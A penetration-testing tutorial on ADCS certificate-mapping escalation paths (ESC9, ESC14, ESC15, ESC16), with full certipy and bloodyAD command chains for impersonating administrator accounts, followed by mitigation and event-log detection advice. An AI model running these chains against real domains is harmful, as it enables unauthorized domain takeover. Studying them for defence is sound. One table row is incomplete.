ADCS: The Certificate Attacks That Actually Get You Domain Admin
ESC1 gets all the attention. The real kills happen through ESC9, ESC14, ESC15 and ESC16. These are the ADCS escalation paths that bypass modern hardening, abuse certificate mapping logic, and work even after KB5014754. Full chains, tooling, detection.
Active Directory Certificate Services has been an attack surface since the Certified Pre-Owned whitepaper dropped in 2021. Most pentesters know ESC1 (misconfigured template with SAN enabled) and ESC8 (NTLM relay to HTTP enrollment). Those are entry-level now. Blue teams detect them. Templates get locked down.
The techniques that still work in hardened environments live in ESC9 through ESC16. They abuse certificate-to-account mapping logic, not template misconfigurations. Different class of problem, different class of detection difficulty.
Background: Strong vs Weak Certificate Mapping
After CVE-2022-26923 (Certifried), Microsoft shipped KB5014754 introducing strong certificate mapping. The idea: embed the requester’s SID in a certificate extension (szOID_NTDS_CA_SECURITY_EXT, OID 1.3.6.1.4.1.311.25.2) so the DC can unambiguously map the cert to an AD account.
Before February 2025, DCs ran in Compatibility Mode: try strong mapping first, fall back to weak mapping (UPN, DNS name) if the SID extension is missing. After February 2025, Full Enforcement was supposed to be the default.
The problem: many environments delayed enforcement. And even with enforcement, several ESC paths don’t rely on SAN-based mapping at all.
ESC9: Abusing Templates Without the SID Extension
Condition: A certificate template has CT_FLAG_NO_SECURITY_EXTENSION set (msPKI-Enrollment-Flag includes 0x80000), removing the SID extension from issued certificates.
Without the SID, the DC falls back to weak mapping. An attacker who can modify a target’s userPrincipalName (via GenericWrite) can:
- Change target’s UPN to
admin@domain.local - Enroll for a certificate using the ESC9-vulnerable template
- Restore the UPN
- Authenticate with the cert → DC maps it to
adminvia weak UPN mapping
certipy account update -u attacker@domain.local -p 'pass' -user victim -upn administrator@domain.local
certipy req -u victim@domain.local -p 'pass' -ca CORP-CA -template VulnTemplate
certipy account update -u attacker@domain.local -p 'pass' -user victim -upn victim@domain.local
certipy auth -pfx administrator.pfx -domain domain.local
Key detail: This works even with KB5014754 applied if the DC hasn’t moved to Full Enforcement mode or if the template explicitly strips the SID extension.
ESC14: altSecurityIdentities Mapping Abuse
ESC14 is different from everything above. It doesn’t abuse templates. It abuses explicit certificate mapping via the altSecurityIdentities attribute.
Administrators can manually map certificates to accounts by writing values like:
X509:<I>DC=local,DC=domain,CN=CORP-CA<SR>43000000119278b092e5168...
If you have WriteProperty on a target’s altSecurityIdentities, you can inject a mapping that ties your own certificate to their account.
The Chain
Step 1: Create a machine account (default quota is 10)
addcomputer.py -method ldaps -computer-name 'esc14box$' -computer-pass 'P@ss123' -dc-ip 10.10.10.1 domain/attacker:pass
Step 2: Request a certificate for the machine account using the Machine template
certipy req -u 'esc14box$' -p 'P@ss123' -ca CORP-CA -template Machine -dc-ip 10.10.10.1
Step 3: Extract the certificate’s Issuer and Serial Number
certipy cert -pfx esc14box.pfx -nokey -out esc14box.crt
openssl x509 -in esc14box.crt -noout -issuer -serial
Step 4: Write the explicit mapping to the target’s altSecurityIdentities
# Using ldap3 or bloodyAD
bloodyAD -u attacker -p 'pass' -d domain.local --host 10.10.10.1 set object 'CN=target_admin,CN=Users,DC=domain,DC=local' altSecurityIdentities -v 'X509:<I>DC=local,DC=domain,CN=CORP-CA<SR>430000001192...'
Step 5: Authenticate with the machine cert → DC maps it to target_admin
certipy auth -pfx esc14box.pfx -dc-ip 10.10.10.1 -domain domain.local
The DC checks altSecurityIdentities, finds the explicit mapping, and issues a TGT for target_admin. No SAN manipulation. No template misconfiguration. Pure mapping abuse.
ESC14 Variants
There are four documented scenarios:
| Variant | Modified Attribute | Mapping Type |
|---|---|---|
| A | altSecurityIdentities | X509IssuerSerialNumber |
| B | RFC822 email mapping | |
| C | cn + name | Subject CN mapping |
| D | dNSHostName (machine) | DNS mapping |
Each variant targets a different weak mapping type. Variant A is the most reliable because explicit mappings take priority over implicit ones.
ESC15 (EKUwu): The Bug, Not a Misconfiguration
ESC15 is not a misconfiguration. It’s CVE-2024-49019. Version 1 certificate templates have a bug where the requester can inject Application Policies into the CSR, overriding the template’s intended Extended Key Usage.
This means a template intended for Server Authentication only can be abused to issue certificates with Client Authentication, Certificate Request Agent, or even Code Signing EKU.
Why it matters: Version 1 templates include defaults like WebServer. They exist in every ADCS deployment. Most blue teams never audit them because “they’re built-in defaults.”
certipy req -u attacker@domain.local -p 'pass' -ca CORP-CA -template WebServer -application-policies "1.3.6.1.5.5.7.3.2"
The 1.3.6.1.5.5.7.3.2 OID is Client Authentication. The issued certificate now works for PKINIT despite the template never intending it.
Mitigation: Clone V1 templates to V2 (cloning auto-upgrades schema version), or disable enrollment on all default V1 templates. Microsoft’s patch removes the ability to inject Application Policies into V1 template requests.
ESC16: Object SID Extension Spoofing
ESC16 targets the very mechanism introduced to fix ESC9/ESC10. If a template allows the requester to specify the SID extension value, an attacker can embed another account’s SID into their certificate and authenticate as them under Full Enforcement.
This is the newest documented ESC and represents a direct attack against strong certificate mapping itself. Detection requires monitoring for certificates where the embedded SID doesn’t match the requesting account.
Enumeration: Finding Everything at Once
certipy find -u attacker@domain.local -p 'pass' -dc-ip 10.10.10.1 -vulnerable -stdout
Certipy flags ESC1-ESC16 in a single scan. For deeper analysis:
certipy find -u attacker@domain.local -p 'pass' -dc-ip 10.10.10.1 -json -output adcs_audit.json
Then grep for:
- Templates with
CT_FLAG_NO_SECURITY_EXTENSION→ ESC9 - Accounts with writable
altSecurityIdentities→ ESC14 - V1 schema templates with enrollment rights → ESC15
- Templates allowing requester-specified SID extension → ESC16
Detection Gaps
ESC9/ESC14 require attribute modifications before enrollment. Monitor:
- Event 5136: Changes to
userPrincipalName,altSecurityIdentities,mail,dNSHostName - Event 4887: Certificate issuance where Subject CN doesn’t match requester
- Event 4768 with pre-auth type 16 for unexpected accounts
ESC15 leaves almost no anomalous trace because the template is “legitimate.” The only indicator is a certificate issued from a V1 template with an EKU that doesn’t match the template’s definition.
The reality: most SIEM deployments don’t correlate AD attribute changes with subsequent certificate requests. That gap is exactly what makes ESC9 and ESC14 so effective in mature environments.